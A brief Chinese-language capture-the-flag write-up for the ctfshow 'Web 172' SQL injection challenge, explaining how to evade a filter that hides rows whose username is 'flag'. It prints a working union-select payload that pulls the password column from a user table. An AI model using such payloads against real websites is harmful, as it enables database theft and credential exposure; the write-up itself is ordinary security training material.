SQL注入：flag不能出现在查询当中

Web 172:

//检查结果是否有flag

    if($row->username!=='flag'){

      $ret['msg']='查询成功';

    }

这里是检查我们查询的是否存在flag字样

我们可以使用加密：

To_base64()这样的方式绕过，但也可以直接强制转化username为1

99' union select 1,password from ctfshow_user2 where username='flag'%23